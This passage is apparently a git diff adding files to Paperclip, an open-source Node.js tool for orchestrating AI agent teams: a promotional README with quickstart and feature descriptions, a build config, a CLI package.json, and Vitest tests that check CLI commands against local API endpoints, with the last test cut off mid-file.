@@ -0,0 +1,445 @@
<p align="center">
<img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/banner.jpg" alt="Paperclip is the app people use to manage AI agents for work." width="720" />
</p>
<p align="center">
<a href="#quickstart"><strong>Quickstart</strong></a> &middot;
<a href="https://paperclip.ing/docs"><strong>Docs</strong></a> &middot;
<a href="https://github.com/paperclipai/paperclip"><strong>GitHub</strong></a> &middot;
<a href="https://discord.gg/m4HZY7xNG3"><strong>Discord</strong></a> &middot;
<a href="https://x.com/papercliping"><strong>Twitter</strong></a> &middot;
<a href="https://paperclip.ing"><strong>Website</strong></a>
</p>
<p align="center">
<a href="https://github.com/paperclipai/paperclip/blob/master/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue" alt="MIT License" /></a>
<a href="https://github.com/paperclipai/paperclip/stargazers"><img src="https://img.shields.io/github/stars/paperclipai/paperclip?style=flat" alt="Stars" /></a>
<a href="https://discord.gg/m4HZY7xNG3"><img src="https://img.shields.io/discord/000000000?label=discord" alt="Discord" /></a>
</p>
<br/>
<div align="center">
<video src="https://github.com/user-attachments/assets/773bdfb2-6d1e-4e30-8c5f-3487d5b70c8f" width="600" controls></video>
</div>
<br/>
# Paperclip is the app people use to manage AI agents for work.
Open-source orchestration for teams of AI agents.
**If OpenClaw is an _employee_, Paperclip is the _company_.**
Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Bring your own agents, assign goals, and track work and costs from one dashboard.
It looks like a task manager. Under the hood: org charts, budgets, governance, goal alignment, and agent coordination.
**Manage business goals, not pull requests.**
| | Step | Example |
| ------ | --------------- | ------------------------------------------------------------------ |
| **01** | Define the goal | _"Build the #1 AI note-taking app to $1M MRR."_ |
| **02** | Hire the team | CEO, CTO, engineers, designers, marketers — any bot, any provider. |
| **03** | Approve and run | Review strategy. Set budgets. Hit go. Monitor from the dashboard. |
<br/>
<div align="center">
<table>
<tr>
<td align="center"><strong>Works<br/>with</strong></td>
<td align="center"><img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/logos/openclaw.svg" width="32" alt="OpenClaw" /><br/><sub>OpenClaw</sub></td>
<td align="center"><img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/logos/claude.svg" width="32" alt="Claude" /><br/><sub>Claude Code</sub></td>
<td align="center"><img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/logos/codex.svg" width="32" alt="Codex" /><br/><sub>Codex</sub></td>
<td align="center"><img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/logos/cursor.svg" width="32" alt="Cursor" /><br/><sub>Cursor</sub></td>
<td align="center"><img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/logos/bash.svg" width="32" alt="Bash" /><br/><sub>Bash</sub></td>
<td align="center"><img src="https://raw.githubusercontent.com/paperclipai/paperclip/master/doc/assets/logos/http.svg" width="32" alt="HTTP" /><br/><sub>HTTP</sub></td>
</tr>
</table>
<em>If it can receive a heartbeat, it's hired.</em>
</div>
<br/>
## Paperclip is right for you if
- ✅ You want to build **autonomous AI companies**
- ✅ You **coordinate many different agents** (OpenClaw, Codex, Claude, Cursor) toward a common goal
- ✅ You have **20 simultaneous Claude Code terminals** open and lose track of what everyone is doing
- ✅ You want agents running **autonomously 24/7**, but still want to audit work and chime in when needed
- ✅ You want to **monitor costs** and enforce budgets
- ✅ You want a process for managing agents that **feels like using a task manager**
- ✅ You want to manage your autonomous businesses **from your phone**
<br/>
## Features
<table>
<tr>
<td align="center" width="33%">
<h3>🔌 Bring Your Own Agent</h3>
Any agent, any runtime, one org chart. If it can receive a heartbeat, it's hired.
</td>
<td align="center" width="33%">
<h3>🎯 Goal Alignment</h3>
Every task traces back to the company mission. Agents know <em>what</em> to do and <em>why</em>.
</td>
<td align="center" width="33%">
<h3>💓 Heartbeats</h3>
Agents wake on a schedule, check work, and act. Delegation flows up and down the org chart.
</td>
</tr>
<tr>
<td align="center">
<h3>💰 Cost Control</h3>
Monthly budgets per agent. When they hit the limit, they stop. No runaway costs.
</td>
<td align="center">
<h3>🏢 Multi-Company</h3>
One deployment, many companies. Complete data isolation. One control plane for your portfolio.
</td>
<td align="center">
<h3>🎫 Ticket System</h3>
Every conversation traced. Every decision explained. Full tool-call tracing and immutable audit log.
</td>
</tr>
<tr>
<td align="center">
<h3>🛡️ Governance</h3>
Approve hires, override strategy, pause or terminate any agent — at any time.
</td>
<td align="center">
<h3>📊 Org Chart</h3>
Hierarchies, roles, reporting lines. Your agents have a boss, a title, and a job description.
</td>
<td align="center">
<h3>📱 Mobile Ready</h3>
Monitor and manage your autonomous businesses from anywhere.
</td>
</tr>
</table>
<br/>
## Problems Paperclip solves
| Without Paperclip | With Paperclip |
| ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| ❌ You have 20 Claude Code tabs open and can't track which one does what. On reboot you lose everything. | ✅ Tasks are ticket-based, conversations are threaded, sessions persist across reboots. |
| ❌ You manually gather context from several places to remind your bot what you're actually doing. | ✅ Context flows from the task up through the project and company goals — your agent always knows what to do and why. |
| ❌ Folders of agent configs are disorganized and you're re-inventing task management, communication, and coordination between agents. | ✅ Paperclip gives you org charts, ticketing, delegation, and governance out of the box — so you run a company, not a pile of scripts. |
| ❌ Runaway loops waste hundreds of dollars of tokens and max your quota before you even know what happened. | ✅ Cost tracking surfaces token budgets and throttles agents when they're out. Management prioritizes with budgets. |
| ❌ You have recurring jobs (customer support, social, reports) and have to remember to manually kick them off. | ✅ Heartbeats handle regular work on a schedule. Management supervises. |
| ❌ You have an idea, you have to find your repo, fire up Claude Code, keep a tab open, and babysit it. | ✅ Add a task in Paperclip. Your coding agent works on it until it's done. Management reviews their work. |
<br/>
## Why Paperclip is special
Paperclip handles the hard orchestration details correctly.
| | |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| **Atomic execution.** | Task checkout and budget enforcement are atomic, so no double-work and no runaway spend. |
| **Persistent agent state.** | Agents resume the same task context across heartbeats instead of restarting from scratch. |
| **Runtime skill injection.** | Agents can learn Paperclip workflows and project context at runtime, without retraining. |
| **Governance with rollback.** | Approval gates are enforced, config changes are revisioned, and bad changes can be rolled back safely. |
| **Goal-aware execution.** | Tasks carry full goal ancestry so agents consistently see the "why," not just a title. |
| **Portable company templates.** | Export/import orgs, agents, and skills with secret scrubbing and collision handling. |
| **True multi-company isolation.** | Every entity is company-scoped, so one deployment can run many companies with separate data and audit trails. |
<br/>
## What's Under the Hood
Paperclip is a full control plane, not a wrapper. Before you build any of this yourself, know that it already exists:
```
┌──────────────────────────────────────────────────────────────┐
│ PAPERCLIP SERVER │
│ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │Identity & │ │ Work & │ │ Heartbeat │ │Governance │ │
│ │ Access │ │ Tasks │ │ Execution │ │& Approvals│ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
│ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Org Chart │ │Workspaces │ │ Plugins │ │ Budget │ │
│ │ & Agents │ │ & Runtime │ │ │ │ & Costs │ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
│ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Routines │ │ Secrets & │ │ Activity │ │ Company │ │
│ │& Schedules│ │ Storage │ │ & Events │ │Portability│ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
└──────────────────────────────────────────────────────────────┘
▲ ▲ ▲ ▲
┌─────┴─────┐ ┌─────┴─────┐ ┌─────┴─────┐ ┌─────┴─────┐
│ Claude │ │ Codex │ │ CLI │ │ HTTP/web │
│ Code │ │ │ │ agents │ │ bots │
└───────────┘ └───────────┘ └───────────┘ └───────────┘
```
### The Systems
<table>
<tr>
<td width="50%">
**Identity & Access** — Two deployment modes (trusted local or authenticated), board users, agent API keys, short-lived run JWTs, company memberships, invite flows, and OpenClaw onboarding. Every mutating request is traced to an actor.
</td>
<td width="50%">
**Org Chart & Agents** — Agents have roles, titles, reporting lines, permissions, and budgets. Adapter examples match the diagram: Claude Code, Codex, CLI agents such as Cursor/Gemini/bash, HTTP/webhook bots such as OpenClaw, and external adapter plugins. If it can receive a heartbeat, it's hired.
</td>
</tr>
<tr>
<td>
**Work & Task System** — Issues carry company/project/goal/parent links, atomic checkout with execution locks, first-class blocker dependencies, comments, documents, attachments, work products, labels, and inbox state. No double-work, no lost context.
</td>
<td>
**Heartbeat Execution** — DB-backed wakeup queue with coalescing, budget checks, workspace resolution, secret injection, skill loading, and adapter invocation. Runs produce structured logs, cost events, session state, and audit trails. Recovery handles orphaned runs automatically.
</td>
</tr>
<tr>
<td>
**Workspaces & Runtime** — Project workspaces, isolated execution workspaces (git worktrees, operator branches), and runtime services (dev servers, preview URLs). Agents work in the right directory with the right context every time.
</td>
<td>
**Governance & Approvals** — Board approval workflows, execution policies with review/approval stages, decision tracking, budget hard-stops, agent pause/resume/terminate, and full audit logging. Nothing ships without your sign-off.
</td>
</tr>
<tr>
<td>
**Budget & Cost Control** — Token and cost tracking by company, agent, project, goal, issue, provider, and model. Scoped budget policies with warning thresholds and hard stops. Overspend pauses agents and cancels queued work automatically.
</td>
<td>
**Routines & Schedules** — Recurring tasks with cron, webhook, and API triggers. Concurrency and catch-up policies. Each routine execution creates a tracked issue and wakes the assigned agent — no manual kick-offs needed.
</td>
</tr>
<tr>
<td>
**Plugins** — Instance-wide plugin system with out-of-process workers, capability-gated host services, job scheduling, tool exposure, and UI contributions. Extend Paperclip without forking it.
</td>
<td>
**Secrets & Storage** — Instance and company secrets, encrypted local storage, provider-backed object storage, attachments, and work products. Sensitive values stay out of prompts unless a scoped run explicitly needs them.
</td>
</tr>
<tr>
<td>
**Activity & Events** — Mutating actions, heartbeat state changes, cost events, approvals, comments, and work products are recorded as durable activity so operators can audit what happened and why.
</td>
<td>
**Company Portability** — Export and import entire organizations — agents, skills, projects, routines, and issues — with secret scrubbing and collision handling. One deployment, many companies, complete data isolation.
</td>
</tr>
</table>
<br/>
## What Paperclip is not
| | |
| ---------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| **Not a chatbot.** | Agents have jobs, not chat windows. |
| **Not an agent framework.** | We don't tell you how to build agents. We tell you how to run a company made of them. |
| **Not a workflow builder.** | No drag-and-drop pipelines. Paperclip models companies — with org charts, goals, budgets, and governance. |
| **Not a prompt manager.** | Agents bring their own prompts, models, and runtimes. Paperclip manages the organization they work in. |
| **Not a single-agent tool.** | This is for teams. If you have one agent, you probably don't need Paperclip. If you have twenty — you definitely do. |
| **Not a code review tool.** | Paperclip orchestrates work, not pull requests. Bring your own review process. |
<br/>
## Quickstart
Open source. Self-hosted. No Paperclip account required.
```bash
npx paperclipai onboard --yes
```
That quickstart path now defaults to trusted local loopback mode for the fastest first run. To start in authenticated/private mode instead, choose a bind preset explicitly:
```bash
npx paperclipai onboard --yes --bind lan
# or:
npx paperclipai onboard --yes --bind tailnet
```
If you already have Paperclip configured, rerunning `onboard` keeps the existing config in place. Use `paperclipai configure` to edit settings.
Or manually:
```bash
git clone https://github.com/paperclipai/paperclip.git
cd paperclip
pnpm install
pnpm dev
```
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
> **Requirements:** Node.js 20+, pnpm 9.15+
<br/>
## FAQ
**What does a typical setup look like?**
Locally, a single Node.js process manages an embedded Postgres and local file storage. For production, point it at your own Postgres and deploy however you like. Configure projects, agents, and goals — the agents take care of the rest.
If you're a solo entrepreneur you can use Tailscale to access Paperclip on the go. Then later you can deploy to e.g. Vercel when you need it.
**Can I run multiple companies?**
Yes. A single deployment can run an unlimited number of companies with complete data isolation.
**How is Paperclip different from agents like OpenClaw or Claude Code?**
Paperclip _uses_ those agents. It orchestrates them into a company — with org charts, budgets, goals, governance, and accountability.
**Why should I use Paperclip instead of just pointing my OpenClaw to Asana or Trello?**
Agent orchestration has subtleties in how you coordinate who has work checked out, how to maintain sessions, monitoring costs, establishing governance - Paperclip does this for you.
(Bring-your-own-ticket-system is on the Roadmap)
**Do agents run continuously?**
By default, agents run on scheduled heartbeats and event-based triggers (task assignment, @-mentions). You can also hook in continuous agents like OpenClaw. You bring your agent and Paperclip coordinates.
<br/>
## Paperclip Cloud Sync
Cloud upstream sync is behind the `Cloud Sync` experimental setting. Enable it in Instance Settings before pushing.
```bash
paperclipai cloud connect https://your-stack.paperclip.app
paperclipai cloud connect https://your-stack.paperclip.app --no-browser
paperclipai cloud push --company <local-company-id> --dry-run
paperclipai cloud push --company <local-company-id>
```
`cloud connect` authorizes the local instance against the target stack and stores the upstream token in the local instance secret store. The default path opens a browser for consent; `--no-browser` uses the device-code flow and prints the verification URL and user code.
`cloud push --dry-run` exports the selected local company, sends a preview bundle to the connected Cloud stack, and exits with code `2` when conflicts need user resolution. A schema mismatch exits with code `3`. Running without `--dry-run` stages chunks idempotently, applies the run, and prints the final summary and recent progress events.
## Development
```bash
pnpm dev # Full dev (API + UI, watch mode)
pnpm dev:once # Full dev without file watching
pnpm dev:server # Server only
pnpm build # Build all
pnpm typecheck # Type checking
pnpm test # Cheap default test run (Vitest only)
pnpm test:watch # Vitest watch mode
pnpm test:e2e # Playwright browser suite
pnpm db:generate # Generate DB migration
pnpm db:migrate # Apply migrations
```
`pnpm test` does not run Playwright. Browser suites stay separate and are typically run only when working on those flows or in CI.
See [doc/DEVELOPING.md](https://github.com/paperclipai/paperclip/blob/master/doc/DEVELOPING.md) for the full development guide.
<br/>
## Roadmap
- ✅ Plugin system (e.g. add a knowledge base, custom tracing, queues, etc)
- ✅ Get OpenClaw / claw-style agent employees
- ✅ companies.sh - import and export entire organizations
- ✅ Easy AGENTS.md configurations
- ✅ Skills Manager
- ✅ Scheduled Routines
- ✅ Better Budgeting
- ✅ Agent Reviews and Approvals
- ✅ Multiple Human Users
- ⚪ Cloud / Sandbox agents (e.g. Cursor / e2b / Novita agents)
- ⚪ Artifacts & Work Products
- ⚪ Memory / Knowledge
- ⚪ Enforced Outcomes
- ⚪ MAXIMIZER MODE
- ⚪ Deep Planning
- ⚪ Work Queues
- ⚪ Self-Organization
- ⚪ Automatic Organizational Learning
- ⚪ CEO Chat
- ⚪ Cloud deployments
- ⚪ Desktop App
This is the short roadmap preview. See the full roadmap in [ROADMAP.md](https://github.com/paperclipai/paperclip/blob/master/ROADMAP.md).
<br/>
## Community & Plugins
Find Plugins and more at [awesome-paperclip](https://github.com/gsxdsm/awesome-paperclip)
## Telemetry
Paperclip collects anonymous usage telemetry to help us understand how the product is used and improve it. No personal information, issue content, prompts, file paths, or secrets are ever collected. Private repository references are hashed with a per-install salt before being sent.
Telemetry is **enabled by default** and can be disabled with any of the following:
| Method | How |
| -------------------- | ------------------------------------------------------- |
| Environment variable | `PAPERCLIP_TELEMETRY_DISABLED=1` |
| Standard convention | `DO_NOT_TRACK=1` |
| CI environments | Automatically disabled when `CI=true` |
| Config file | Set `telemetry.enabled: false` in your Paperclip config |
## Contributing
We welcome contributions. See the [contributing guide](https://github.com/paperclipai/paperclip/blob/master/CONTRIBUTING.md) for details.
<br/>
## Community
- [Discord](https://discord.gg/m4HZY7xNG3) — Join the community
- [Twitter / X](https://x.com/papercliping) — Follow updates and announcements
- [GitHub Issues](https://github.com/paperclipai/paperclip/issues) — bugs and feature requests
- [GitHub Discussions](https://github.com/paperclipai/paperclip/discussions) — ideas and RFC
<br/>
## License
MIT &copy; 2026 [Paperclip Labs, Inc](https://paperclip.ing)
## Star History
[![Star History Chart](https://api.star-history.com/image?repos=paperclipai/paperclip&type=date&legend=top-left)](https://www.star-history.com/?repos=paperclipai%2Fpaperclip&type=date&legend=top-left)
<br/>
---
<p align="center">
<sub>Open source under MIT. Built for people who want to get work done, not babysit agents.</sub>
</p>
+67
View File
@@ -0,0 +1,67 @@
/**
* esbuild configuration for building the paperclipai CLI for npm.
*
* Bundles all workspace packages (@paperclipai/*) into a single file.
* External npm packages remain as regular dependencies.
*/
import { readFileSync } from "node:fs";
import { resolve, dirname } from "node:path";
import { fileURLToPath } from "node:url";
const __dirname = dirname(fileURLToPath(import.meta.url));
const repoRoot = resolve(__dirname, "..");
// Workspace packages whose code should be bundled into the CLI.
// Note: "server" is excluded — it's published separately and resolved at runtime.
const workspacePaths = [
"cli",
"packages/db",
"packages/shared",
"packages/adapter-utils",
"packages/adapters/claude-local",
"packages/adapters/codex-local",
"packages/adapters/hermes-gateway",
"packages/adapters/hermes",
"packages/adapters/openclaw-gateway",
];
// Workspace packages that should NOT be bundled — they'll be published
// to npm and resolved at runtime (e.g. @paperclipai/server uses dynamic import).
const externalWorkspacePackages = new Set([
"@paperclipai/server",
]);
// Collect all external (non-workspace) npm package names
const externals = new Set();
for (const p of workspacePaths) {
const pkg = JSON.parse(readFileSync(resolve(repoRoot, p, "package.json"), "utf8"));
for (const name of Object.keys(pkg.dependencies || {})) {
if (externalWorkspacePackages.has(name)) {
externals.add(name);
} else if (!name.startsWith("@paperclipai/")) {
externals.add(name);
}
}
for (const name of Object.keys(pkg.optionalDependencies || {})) {
externals.add(name);
}
}
// Also add all published workspace packages as external
for (const name of externalWorkspacePackages) {
externals.add(name);
}
/** @type {import('esbuild').BuildOptions} */
export default {
entryPoints: ["src/index.ts"],
bundle: true,
platform: "node",
target: "node20",
format: "esm",
outfile: "dist/index.js",
banner: { js: "#!/usr/bin/env node" },
external: [...externals].sort(),
treeShaking: true,
sourcemap: true,
};
+65
View File
@@ -0,0 +1,65 @@
{
"name": "paperclipai",
"version": "0.3.1",
"description": "Paperclip CLI — orchestrate AI agent teams to run a business",
"type": "module",
"bin": {
"paperclipai": "./dist/index.js"
},
"keywords": [
"paperclip",
"ai",
"agents",
"orchestration",
"cli"
],
"license": "MIT",
"repository": {
"type": "git",
"url": "https://github.com/paperclipai/paperclip",
"directory": "cli"
},
"homepage": "https://github.com/paperclipai/paperclip",
"bugs": {
"url": "https://github.com/paperclipai/paperclip/issues"
},
"files": [
"dist"
],
"publishConfig": {
"access": "public"
},
"scripts": {
"dev": "tsx src/index.ts",
"build": "node --input-type=module -e \"import esbuild from 'esbuild'; import config from './esbuild.config.mjs'; await esbuild.build(config);\" && chmod +x dist/index.js",
"clean": "rm -rf dist",
"typecheck": "tsc --noEmit"
},
"dependencies": {
"@clack/prompts": "^0.10.0",
"@paperclipai/adapter-claude-local": "workspace:*",
"@paperclipai/adapter-codex-local": "workspace:*",
"@paperclipai/adapter-cursor-cloud": "workspace:*",
"@paperclipai/adapter-cursor-local": "workspace:*",
"@paperclipai/adapter-gemini-local": "workspace:*",
"@paperclipai/adapter-grok-local": "workspace:*",
"@paperclipai/adapter-opencode-local": "workspace:*",
"@paperclipai/adapter-pi-local": "workspace:*",
"@paperclipai/adapter-openclaw-gateway": "workspace:*",
"@paperclipai/adapter-utils": "workspace:*",
"@paperclipai/db": "workspace:*",
"@paperclipai/server": "workspace:*",
"@paperclipai/shared": "workspace:*",
"@paperclipai/hermes-paperclip-adapter": "workspace:*",
"drizzle-orm": "0.45.2",
"dotenv": "^17.4.2",
"commander": "^13.1.0",
"embedded-postgres": "^18.1.0-beta.16",
"picocolors": "^1.1.1"
},
"devDependencies": {
"@types/node": "^22.19.21",
"tsx": "^4.22.4",
"typescript": "^5.7.3"
}
}
+140
View File
@@ -0,0 +1,140 @@
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { registerAccessCommands } from "../commands/client/access.js";
const COMPANY_ID = "22222222-2222-4222-8222-222222222222";
const USER_ID = "33333333-3333-4333-8333-333333333333";
const INVITE_ID = "44444444-4444-4444-8444-444444444444";
const JOIN_ID = "55555555-5555-4555-8555-555555555555";
const MEMBER_ID = "66666666-6666-4666-8666-666666666666";
function createProgram(): Command {
const program = new Command();
program.exitOverride();
program.configureOutput({ writeOut: () => {}, writeErr: () => {} });
registerAccessCommands(program);
return program;
}
async function run(args: string[]): Promise<void> {
await createProgram().parseAsync([...args, "--api-base", "http://localhost:3100", "--api-key", "board-token"], { from: "user" });
}
describe("access parity commands", () => {
beforeEach(() => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
vi.spyOn(console, "log").mockImplementation(() => {});
});
afterEach(() => {
vi.restoreAllMocks();
});
it("wraps auth, invites, joins, members, and admin endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["health"]);
await run(["whoami"]);
await run(["access", "whoami"]);
await run(["profile", "session"]);
await run(["profile", "get"]);
await run(["profile", "update", "--payload-json", "{}"]);
await run(["invite", "list", "--company-id", COMPANY_ID]);
await run(["invite", "create", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["invite", "revoke", INVITE_ID]);
await run(["invite", "show", "token-1"]);
await run(["invite", "test-resolution", "token-1", "--url", "http://localhost:3100/invite/token-1"]);
await run(["invite", "accept", "token-1"]);
await run(["join", "list", "--company-id", COMPANY_ID, "--status", "pending"]);
await run(["join", "approve", JOIN_ID, "--company-id", COMPANY_ID]);
await run(["join", "reject", JOIN_ID, "--company-id", COMPANY_ID]);
await run(["join", "claim-key", JOIN_ID, "--claim-secret", "secret"]);
await run(["member", "list", "--company-id", COMPANY_ID]);
await run(["member", "update", MEMBER_ID, "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["member", "archive", MEMBER_ID, "--company-id", COMPANY_ID]);
await run(["admin", "user", "list"]);
await run(["admin", "user", "promote", USER_ID]);
await run(["admin", "user", "company-access:update", USER_ID, "--payload-json", "{}"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["GET", "http://localhost:3100/api/health"],
["GET", "http://localhost:3100/api/cli-auth/me"],
["GET", "http://localhost:3100/api/cli-auth/me"],
["GET", "http://localhost:3100/api/auth/get-session"],
["GET", "http://localhost:3100/api/auth/profile"],
["PATCH", "http://localhost:3100/api/auth/profile"],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/invites`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/invites`],
["POST", `http://localhost:3100/api/invites/${INVITE_ID}/revoke`],
["GET", "http://localhost:3100/api/invites/token-1"],
["GET", "http://localhost:3100/api/invites/token-1/test-resolution?url=http%3A%2F%2Flocalhost%3A3100%2Finvite%2Ftoken-1"],
["POST", "http://localhost:3100/api/invites/token-1/accept"],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/join-requests?status=pending_approval`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/join-requests/${JOIN_ID}/approve`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/join-requests/${JOIN_ID}/reject`],
["POST", `http://localhost:3100/api/join-requests/${JOIN_ID}/claim-api-key`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/members`],
["PATCH", `http://localhost:3100/api/companies/${COMPANY_ID}/members/${MEMBER_ID}`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/members/${MEMBER_ID}/archive`],
["GET", "http://localhost:3100/api/admin/users"],
["POST", `http://localhost:3100/api/admin/users/${USER_ID}/promote-instance-admin`],
["PUT", `http://localhost:3100/api/admin/users/${USER_ID}/company-access`],
]);
});
it("wraps instance, sidebar, llm, and openapi endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["openapi"]);
await run(["instance", "scheduler-heartbeats"]);
await run(["instance", "settings:general"]);
await run(["instance", "settings:general:update", "--payload-json", "{}"]);
await run(["instance", "database-backup"]);
await run(["sidebar", "preferences"]);
await run(["sidebar", "preferences:update", "--payload-json", "{}"]);
await run(["sidebar", "project-preferences", "--company-id", COMPANY_ID]);
await run(["sidebar", "project-preferences:update", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["sidebar", "badges", "--company-id", COMPANY_ID]);
await run(["inbox", "dismissals", "--company-id", COMPANY_ID]);
await run(["inbox", "dismiss", "--company-id", COMPANY_ID, "--payload-json", "{\"itemKey\":\"run:1\"}"]);
await run(["board-claim", "show", "claim-token"]);
await run(["board-claim", "claim", "claim-token", "--payload-json", "{}"]);
await run(["openclaw", "invite-prompt", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["available-skill", "list"]);
await run(["available-skill", "index"]);
await run(["available-skill", "get", "paperclip"]);
await run(["llm", "agent-configuration"]);
await run(["llm", "agent-configuration:adapter", "codex_local"]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["GET", "http://localhost:3100/api/openapi.json"],
["GET", "http://localhost:3100/api/instance/scheduler-heartbeats"],
["GET", "http://localhost:3100/api/instance/settings/general"],
["PATCH", "http://localhost:3100/api/instance/settings/general"],
["POST", "http://localhost:3100/api/instance/database-backups"],
["GET", "http://localhost:3100/api/sidebar-preferences/me"],
["PUT", "http://localhost:3100/api/sidebar-preferences/me"],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/sidebar-preferences/me`],
["PUT", `http://localhost:3100/api/companies/${COMPANY_ID}/sidebar-preferences/me`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/sidebar-badges`],
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/inbox-dismissals`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/inbox-dismissals`],
["GET", "http://localhost:3100/api/board-claim/claim-token"],
["POST", "http://localhost:3100/api/board-claim/claim-token/claim"],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/openclaw/invite-prompt`],
["GET", "http://localhost:3100/api/skills/available"],
["GET", "http://localhost:3100/api/skills/index"],
["GET", "http://localhost:3100/api/skills/paperclip"],
["GET", "http://localhost:3100/api/llms/agent-configuration.txt"],
["GET", "http://localhost:3100/api/llms/agent-configuration/codex_local.txt"],
]);
});
});
function jsonResponse(body: unknown = { ok: true }, init: ResponseInit = { status: 200 }): Response {
return new Response(JSON.stringify(body), init);
}
+53
View File
@@ -0,0 +1,53 @@
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { registerActivityCommands } from "../commands/client/activity.js";
const COMPANY_ID = "22222222-2222-4222-8222-222222222222";
const ISSUE_ID = "33333333-3333-4333-8333-333333333333";
function createProgram(): Command {
const program = new Command();
program.exitOverride();
program.configureOutput({ writeOut: () => {}, writeErr: () => {} });
registerActivityCommands(program);
return program;
}
async function run(args: string[]): Promise<void> {
await createProgram().parseAsync([...args, "--api-base", "http://localhost:3100", "--api-key", "board-token"], { from: "user" });
}
describe("activity parity commands", () => {
beforeEach(() => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
vi.spyOn(console, "log").mockImplementation(() => {});
});
afterEach(() => {
vi.restoreAllMocks();
});
it("wraps activity endpoints", async () => {
const fetchMock = vi
.fn()
.mockImplementationOnce(() => Promise.resolve(jsonResponse([])))
.mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["activity", "list", "--company-id", COMPANY_ID, "--agent-id", "agent-1"]);
await run(["activity", "create", "--company-id", COMPANY_ID, "--payload-json", "{}"]);
await run(["activity", "issue", ISSUE_ID]);
expect(fetchMock.mock.calls.map((call) => [call[1]?.method ?? "GET", call[0]])).toEqual([
["GET", `http://localhost:3100/api/companies/${COMPANY_ID}/activity?agentId=agent-1`],
["POST", `http://localhost:3100/api/companies/${COMPANY_ID}/activity`],
["GET", `http://localhost:3100/api/issues/${ISSUE_ID}/activity`],
]);
});
});
function jsonResponse(body: unknown = { ok: true }, init: ResponseInit = { status: 200 }): Response {
return new Response(JSON.stringify(body), init);
}
@@ -0,0 +1,177 @@
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import path from "node:path";
import { tmpdir } from "node:os";
import { Command } from "commander";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import { registerAdapterCommands } from "../commands/client/adapter.js";
import { registerAssetCommands } from "../commands/client/asset.js";
import { registerCompanyCommands, resolveExportOutputPath } from "../commands/client/company.js";
import { registerSkillCommands } from "../commands/client/skill.js";
const COMPANY_ID = "22222222-2222-4222-8222-222222222222";
const SKILL_ID = "33333333-3333-4333-8333-333333333333";
const ASSET_ID = "44444444-4444-4444-8444-444444444444";
function createProgram(): Command {
const program = new Command();
program.exitOverride();
program.configureOutput({ writeOut: () => {}, writeErr: () => {} });
registerCompanyCommands(program);
registerAdapterCommands(program);
registerAssetCommands(program);
registerSkillCommands(program);
return program;
}
async function run(args: string[]): Promise<void> {
await createProgram().parseAsync([
...args,
"--api-base", "http://localhost:3100",
"--api-key", "board-token",
], { from: "user" });
}
describe("admin, asset, and skill parity commands", () => {
let tempDir: string;
beforeEach(async () => {
vi.restoreAllMocks();
delete process.env.PAPERCLIP_API_KEY;
delete process.env.PAPERCLIP_API_URL;
vi.spyOn(console, "log").mockImplementation(() => {});
vi.spyOn(process.stdout, "write").mockImplementation(() => true);
tempDir = await mkdtemp(path.join(tmpdir(), "paperclip-cli-parity-"));
});
afterEach(async () => {
vi.restoreAllMocks();
await rm(tempDir, { recursive: true, force: true });
});
it("wraps company management and raw portability endpoints", async () => {
const fetchMock = vi.fn().mockImplementation(() => Promise.resolve(jsonResponse()));
vi.stubGlobal("fetch", fetchMock);
await run(["company", "stats"]);
await run(["company", "create", "--payload-json", "{}"]);
await run(["company", "update", COMPANY_ID, "--payload-json", "{}"]);
await run(["company", "branding:update", COMPANY_ID, "--payload-json", "{}"]);
await run(["company", "archive", COMPANY_ID]);
